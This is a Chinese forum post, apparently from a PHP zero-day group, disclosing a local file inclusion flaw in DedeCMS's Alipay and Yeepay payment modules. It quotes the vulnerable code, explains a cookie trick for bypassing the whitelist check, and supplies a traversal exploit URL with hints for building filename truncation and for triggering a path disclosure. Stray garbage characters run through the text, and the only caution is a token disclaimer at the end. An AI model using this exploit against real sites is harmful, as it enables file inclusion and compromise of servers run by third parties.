晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)5 w: J' U& H* b5 ?
3 s1 v: Y# b. `: M出现漏洞的两个文件为:
! X& T W- w) S! ~/ i# S6 HInclude/payment/alipay.php
8 w; j- [' L! N$ S/ X# O* }Include/payment/yeepay.php# X: W5 a( T9 m9 }! @
漏洞均出现在respond方法里,估计这两个文件是临时工写的。 `4 }$ o5 e' V7 P. l6 q$ P! M, Z
# ^3 b: o8 T$ D8 B# T% t: y
Include/payment/alipay.php
8 ?7 a2 @" _3 [- ]
1 h+ l' J0 S6 e......$ O% A2 X& c' u6 R5 a
function respond()
. ~3 G7 R8 t# s& {/ |. N* R {
3 d9 ?4 a' @: U! Q; A. U if (!empty($_POST))
- }6 w( S& Y3 O+ Z7 ?% g' Q {0 h5 o; ~# V# Y Q
foreach($_POST as $key => $data)
. v9 g: e$ ]6 V$ J( ~ {
: b( r- O5 Q9 v2 M $_GET[$key] = $data;
' l0 j% Z& Z9 o" U }5 r6 G$ \) v" \/ L) Z+ w: Q
}* `% O9 l: J/ L, ~- a, C$ ^5 i& K
/* 引入配置文件 */0 L, O; m* u9 y; ]! k% ?
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';: h" E. G6 A# ^0 ]) a* U
...... . w1 p4 m" b9 q2 ?* o; P1 A1 j/ J
1 O. |/ U+ s1 j S6 s
6 i( U: B: N* _# q: b a大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
4 O$ x" {5 X5 V9 s5 }' \- g/ u8 u# O+ N- {
Include/payment/yeepay.php) W3 z; V' E# e: j; f" E5 v
6 h3 F5 Z; m* `5 G) |% \: C
7 c; F! k0 M# ^7 z# ?7 Z4 o
, q! x( n& q% ]2 c$ m! y......9 A/ ]: B$ ]# }& U2 f# `
function respond()
' p( \5 T1 G+ G1 F$ R0 K/ c {
5 T$ ^4 o/ H- j; c9 i4 G( C ' ~7 i$ N& V8 _8 F+ a h2 E; j
/* 引入配置文件 */
) M6 E) B- o6 B V2 Y require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
$ T. \/ m& K6 I) U4 g7 k
! k) S# ^- h/ Y4 w' r6 T $p1_MerId = trim($payment['yp_account']);
. n- ?% p8 } A) z/ q $merchantKey = trim($payment['yp_key']);
$ y9 h1 M+ I6 @3 X( b" v& W. x: B......
; B& }5 g6 z7 M/ T7 j5 k# ^
; l7 ?6 m4 }! G2 b: j6 X3 Q& [* A2 _3 S% L5 ?
; S) q1 E) U$ a4 X
& s* o; z+ J! ?% @: C+ ~大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
3 E6 p( B% u& t. E; m- q* k+ x0 \" z1 D8 ]7 C5 o/ }/ T1 G) w- |. i
这两个方法在plus/carbuyaction.php文件调用。0 D' \+ ?" X, r4 M) z, U
! M3 |% d0 f/ v2 g" ?/ ^( l8 Q& r, Bplus/carbuyaction.php
; L6 j' x% B6 L# P. a" ]& p% R0 t7 f. a& Z/ g
....../ L, [/ F! G3 R8 n0 J* W# e% |
} else if ($dopost == 'return') {
8 Y$ \1 c1 a7 g4 Y $write_list = array('alipay', 'bank', 'cod', 'yeepay');$ V- F) ]- ]8 N
if (in_array($code, $write_list))- U' S5 x9 a8 k, W# z' @7 l. h
{: u& h* E0 | `0 u
require_once DEDEINC.'/payment/'.$code.'.php';) v, D8 ~7 J0 L( @1 \+ ^
$pay = new $code;' ?; v4 w: T! X) t8 h7 g" n" q
$msg=$pay->respond();( _) V& P8 y% `) a' t J
ShowMsg($msg, "javascript:;", 0, 3000);
& |* e Z L$ D% _& O, Q5 c6 z exit();
3 }$ j, y. {; c- F7 B } else {
3 K9 l( D/ l# U exit('Error:File Type Can\'t Recognized!');
% |. I" d/ ~! j' j5 u, S8 \: C) t }6 n3 Z( n( f2 @5 s& N8 n
}6 n% n" M4 C6 T
......
4 n, Q" y$ S# E0 |# S" V7 s- G
* x& M/ ~1 R' r. l
% Z4 R' e6 }$ t$ s9 E- t8 N4 K8 U
1 P0 L% X7 [" }+ p+ p5 T
% [+ V! o1 O2 N/ ^# X, m
0 z, a3 C) b' F& \0 J0 `% F$ o) H+ s* L1 D' }2 _
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。, C+ `& r- ^% K c. x: H
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。/ X" n( U) N G3 }2 o7 F1 l6 v
0 U9 S: y/ V% [9 J& E2 u4 |回到include/common.inc.php来看看他的机制。! e; |/ C& b; Y3 D$ i6 n
H! j8 o( H7 K/ V: K
6 I+ t/ e3 J, B
, _1 X: `, C/ q: F
......
0 Y3 V7 f u# S* i6 f8 |0 I% h$ yforeach(Array('_GET','_POST','_COOKIE') as $_request)
8 _! Z$ N6 I: m4 l{
4 H' W; `( B" P8 q1 R$ @ foreach($$_request as $_k => $_v)
* h+ {9 }" D# x3 n, }1 C {
$ {. T( l) |" R+ M) C6 I ? { if($_k == 'nvarname') ${$_k} = $_v;
& k8 D! e" o/ Q1 ]! D/ \ else ${$_k} = _RunMagicQuotes($_v);
# h1 s$ J. T7 ]" d, K }
/ ~8 o) o, Y. v' L6 A+ u0 r$ P}
. D6 _) p: k+ G( y, `! o6 ?/ ~...... 7 g1 @8 h, O3 P( _/ y# ]7 a( `
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
' k: v) m$ J" j2 z/ A由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |